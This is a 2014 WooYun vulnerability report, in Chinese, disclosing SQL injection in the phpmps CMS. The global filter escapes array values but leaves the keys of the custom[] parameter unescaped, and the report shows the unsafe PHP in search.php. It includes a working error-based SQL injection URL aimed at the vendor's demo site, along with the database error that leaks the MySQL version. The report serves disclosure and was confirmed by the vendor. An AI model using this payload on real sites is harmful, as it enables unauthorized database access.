当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-070873

漏洞标题:phpmps弱过滤导致注入漏洞

相关厂商:phpmps.com

漏洞作者: 小飞

提交时间:2014-08-04 13:42

修复时间:2014-11-02 13:44

公开时间:2014-11-02 13:44

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-04: 细节已通知厂商并且等待厂商处理中
2014-08-04: 厂商已经确认,细节仅向厂商公开
2014-08-07: 细节向第三方安全合作伙伴开放
2014-09-28: 细节向核心白帽子及相关领域专家公开
2014-10-08: 细节向普通白帽子公开
2014-10-18: 细节向实习白帽子公开
2014-11-02: 细节向公众公开

简要描述:

不过滤 会出事

详细说明:

首先全局过滤文件 addslashes_deep和sql_replace全部是针对数组的value的
所以 key呢。。。

if(!get_magic_quotes_gpc()) {
if (!empty($_GET))$_GET = addslashes_deep($_GET);
if (!empty($_POST))$_POST = addslashes_deep($_POST);
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
}
if (!empty($_REQUEST))$_REQUEST = sql_replace($_REQUEST);
if (!empty($_POST))$_POST = sql_replace($_POST);
if (!empty($_GET))$_GET = sql_replace($_GET);
unset($_REQUEST['table']);


由于key被忽视 所以在/search.php 下

if(!empty($_REQUEST['custom'])) {
$sql = "SELECT infoid, COUNT(*) AS num FROM {$table}cus_value WHERE 0 ";
foreach($_REQUEST['custom'] AS $key => $val) {
if(!empty($val)) {

$cus_num++;
$sql .= " or (1 ";
if(is_array($val)) {
$cus_tom = get_custom_info($key);
$sql .= " AND cusid = '$key'";


get_custom_info($key)
在function get_custom_info($cusid='')里面

$sql = "select * from {$table}custom where cusid='$cusid' ";
$res = $db->query($sql);


直接查询了
导致注入

漏洞证明:

官网测试:
http://www.phpmps.com/demo/search.php?custom[xss%27)%20AND%20(SELECT%208734%20FROM(SELECT%20COUNT(*),CONCAT(@@version,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%23]=1
返回信息,成功获取版本信息:

MySQL server error report:Array ( [0] => Array ( [message] => MySQL Query Error ) [1] => Array ( [sql] => SELECT infoid, COUNT(*) AS num FROM demo_cus_value WHERE 0 or (1 AND cusid = 'xss') AND (SELECT 8734 FROM(SELECT COUNT(*),CONCAT(@@version,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)#' AND cusvalue like '%1%' ) GROUP BY infoid HAVING num = '1' ) [2] => Array ( [error] => Duplicate entry '5.0.96-community-nt1' for key 1 ) [3] => Array ( [errno] => 1062 ) )


没各种限制 直接注入

1.png


没有过滤

2.png

修复方案:

全局修复
求不略 求20

版权声明:转载请注明来源 小飞@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-08-04 20:29

厂商回复:

非常感谢小飞提供漏洞,我们会尽快修复。

最新状态:

暂无